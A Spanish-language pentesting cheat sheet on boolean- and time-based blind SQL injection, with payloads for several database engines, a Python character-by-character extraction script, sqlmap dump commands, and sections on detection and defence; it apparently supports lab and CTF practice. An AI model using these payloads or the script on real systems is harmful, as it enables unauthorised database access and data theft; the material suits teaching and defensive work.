Blind SQL Injection (Boolean-based)
Arsenal completo de comandos en la cheatsheetUna inyección SQL ocurre cuando una entrada del usuario se concatena a una consulta SQL sin sanear, de modo que el atacante altera la consulta. Cuando la aplicación no devuelve los datos ni el error (no vemos el resultado de la consulta), la inyección es ciega: hay que inferir la información por un canal lateral, y la técnica (booleana o temporal) y las funciones dependen del motor.
El oráculo booleano
El canal es la diferencia de comportamiento entre una condición verdadera y una falsa. Si ... AND 1=1 responde de una forma ("Successfully sent password") y ... AND 1=2 de otra, tenemos un oráculo de sí/no:
' AND 1=1-- - # respuesta "verdadera"
' AND 1=2-- - # respuesta "falsa" -> hay oraculo
' AND (SELECT 1 FROM users LIMIT 1)=1-- - # confirmar que existe la tablaExtracción carácter a carácter
Con el oráculo se saca cualquier dato con SUBSTR/SUBSTRING comparando posición contra carácter (primero la longitud con LENGTH() para saber cuándo parar):
' AND LENGTH((SELECT database()))=8-- - # longitud
' AND SUBSTR((SELECT database()),1,1)='a'-- - # posicion 1 = 'a'?
' AND ASCII(SUBSTR((SELECT database()),1,1))>109-- - # busqueda binaria (mas rapida)import requests
url = "http://<ip>/reset"; known = ""
for pos in range(1, 40):
lo, hi = 32, 126
while lo <= hi: # busqueda binaria por posicion
mid = (lo + hi)//2
p = f"' AND ASCII(SUBSTR((SELECT database()),{pos},1))>{mid}-- -"
if "Successfully" in requests.post(url, data={"user": p}).text:
lo = mid + 1
else:
hi = mid - 1
if lo == 32: break
known += chr(lo); print(known)Basada en tiempo (por motor)
Cuando no hay ni diferencia visible, se fuerza un retardo condicional y se mide el tiempo. Cada motor tiene su función:
# MySQL / MariaDB
' AND IF(SUBSTR((SELECT database()),1,1)='a',SLEEP(5),0)-- -
' OR SLEEP(5)-- -
# PostgreSQL
'; SELECT CASE WHEN (SUBSTR(current_database(),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
# MSSQL (SQL Server)
'; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'-- -
# Oracle
' AND 1=(CASE WHEN (SUBSTR((SELECT user FROM dual),1,1)='S') THEN dbms_pipe.receive_message('a',5) ELSE 1 END)-- -
# SQLite (no hay sleep: consulta pesada como retardo)
' AND 1=(SELECT CASE WHEN (SUBSTR(sqlite_version(),1,1)='3') THEN (SELECT count(*) FROM randomblob(100000000)) ELSE 1 END)-- -Automatización
sqlmap -u 'http://<ip>/reset' --data 'user=x' --technique=B --level=5 --risk=3 --dump
sqlmap -u 'http://<ip>/reset' --data 'user=x' --technique=T --time-sec=3 -D <db> --tablessqlmap automatiza la detección y la extracción, pero entender el oráculo a mano (y escribir un script propio) es clave cuando el filtro o el formato de la petición rompen las heurísticas automáticas.
Cómo detectarlo. La SQLi ciega es ruidosa en los logs porque necesita miles de peticiones casi idénticas: el mismo endpoint variando un parámetro carácter a carácter (SUBSTR(...)=, ASCII(...)>, AND 1=1/AND 1=2) es un patrón inconfundible en el log de acceso del servidor web. Un WAF marca las firmas SQL (UNION, SLEEP(, pg_sleep, WAITFOR DELAY, information_schema, comillas sueltas, comentarios -- -) en la query string o el cuerpo. La variante temporal añade una señal de rendimiento clarísima: respuestas cuyo tiempo salta a múltiplos exactos del SLEEP(). Del lado de la base de datos, el query log muestra sentencias malformadas o accesos a information_schema desde la cuenta de la aplicación. La clave es el volumen y la repetición sobre un mismo parámetro, no una petición aislada.
Defensa. Usar consultas parametrizadas (sentencias preparadas) en vez de concatenar entradas; aplicar el principio de mínimo privilegio al usuario de la base de datos; y normalizar las respuestas para no exponer un oráculo booleano. Relacionado con la extracción y crackeo de hashes que suele venir después y con la UNION SQLi cuando sí hay reflejo.
Máquinas donde se aplica
- MonitorsThreeHackTheBox
- NorCDockerLabs
- TrickHackTheBox
- VmdakProving Grounds Practice